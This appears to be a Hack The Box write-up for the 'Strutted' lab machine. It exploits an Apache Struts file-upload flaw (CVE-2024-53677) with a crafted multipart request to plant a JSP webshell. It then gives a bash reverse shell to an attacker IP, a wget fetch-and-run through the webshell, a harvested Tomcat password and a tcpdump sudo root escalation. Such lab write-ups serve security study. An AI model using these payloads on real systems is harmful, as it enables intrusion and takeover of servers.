HTB strutted

Enumeration

Two ports are open.

Now use nikto to enumerate the website.

No CGI

10.10.11.59 strutted.htb

Add 10.10.11.59 strutted.htb to /etc/hosts.

View the website, manual enumeration

Opening the page reveals one.

After downloading, we get one.

strutted.zip unzip stutted.zip

After extraction, we learn the application server running on the target is Tomcat.

Looking at the strutted folder, we see the application dependency file is pom.xml.

Open pom.xml.

The MVC architecture is Apache Struts 6.3.0.1.

Searching in search engines yields CVE ID CVE-2024-53677.

According to GitHub

git clone https://github.com/0xPThree/struts_cve-2024-53677.git

Requires module.

sudo apt install python3-requests-toolbelt

Try again.

Looking at the source code, we can open Burp.

Running again succeeded.

Vulnerability not found.

Note: The vulnerability was not found, but it still has a file upload vulnerability leading to RCE.

Foothold

Attempt manual upload

Looking closely at the downloaded files, we can find the target can run .jsp files.

The files also contain methods on how to check if it’s a PNG or other image: checking the magic header. We can write the corresponding code after that.

According to this and this payload.

We should construct a similar form:

POST /uploads.action HTTP/1.1

Host: 127.0.0.1:8080

Connection: keep-alive

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Content-Length: 138
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="1.txt"

Content-Type:  text/plain

y4tacker
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="2.txt"

Content-Type:  text/plain

1
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ--

When we tried this, it seemed like it didn’t work.

At this point, we just need to change the lowercase upload to uppercase Upload. (Explanation)

Test payload

http://strutted.htb/shell.jsp?action=cmd&cmd=id

Reverse Link

Attacker:

echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1"' > bash.sh
python3 -m http.server 80
nc -lvvp 4444

Target:

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh

File Search

cat conf/tomcat-users.xml  →  password="IT14d6SSP81k"
cat /etc/passwd | grep '/bin/bash' → User: james exists

SSH Connection

ssh james@10.129.231.200

Privilege Escalation

sudo -l → /usr/sbin/tcpdump

GTFOBin Lookup

COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
/tmp/bash_root -p

Explanation

Why change the lowercase ‘upload’ to uppercase ‘Upload’?

Struts2 file upload is handled by an interceptor called FileUploadInterceptor. It performs a binding logic for each field of multipart/form-data before the request enters the Action.

Assume the form contains: <input type="file" name="upload">

Struts will then attempt to find these properties in your Action class (in this case, org.strutted.htb.Upload):

JavaBean/OGNL reflection matches setters using method names with the first letter capitalized (setUploadFileName). Ultimately, only UploadFileName can be routed to the correct setter (implementation differences necessitate using the uppercase form).

Why use top.UploadFilename?

The use of top.UploadFileName is related to Struts’ OGNL (Object-Graph Navigation Language) mechanism.

I. The Truth About Struts Parameter Binding

When Struts2 receives an HTTP request, it puts all form fields and multipart fields into a ValueStack.

This stack is essentially an object hierarchy (usually with the current executing Action at the top).

OGNL is responsible for parsing expressions and mapping request parameter names (e.g., "UploadFileName", "user.name", "top.UploadFileName")

to object properties.

For example:

• Parameter name "uploadFileName" → calls setUploadFileName(...);
• Parameter name "user.name" → calls getUser().setName(...);
• Parameter name "top.UploadFileName" → directly acts on the top object of the stack (the current Action), rather than other objects in the stack.

2. Why Write As

top.UploadFileName

In many real-world scenarios (especially in vulnerability exploitation or certain complex configurations), the Action is not the only object.

The ValueStack may also contain:

• Objects injected by interceptors (such as models, DTOs);
• Internal maps (such as parameters, session, application);
• Or even references to request / response.

When you write "UploadFileName" directly, OGNL searches from the top of the stack downwards for the first object containing that property.

If there is a property with the same name in an object higher up, such as "parameters.UploadFileName", OGNL might bind to the wrong object.

Therefore—

top.UploadFileName is a way to “specify the direction”:

It tells OGNL “I don’t want to search the stack; I want to directly modify the UploadFileName property of the stack top (i.e., the Action itself).”

In exploit chains or penetration testing, this is very important because:

1. The target setter may only exist in the Action, not in internal models;
2. Attackers need to ensure that the OGNL expression is not accidentally intercepted by other layers;
3. Some RCE exploits (such as Struts2 S2-045 / S2-046) use top to access sensitive objects like actionContext, application, memberAccess, etc.

• top is a keyword in OGNL representing the stack top object of the ValueStack (usually the current Action).
• top.UploadFileName ensures that the property being modified is indeed the Action’s own property, without interference from intermediate objects.
• In vulnerability exploitation or debugging, explicitly specifying top. is a “precision strike”—directly hitting the setter.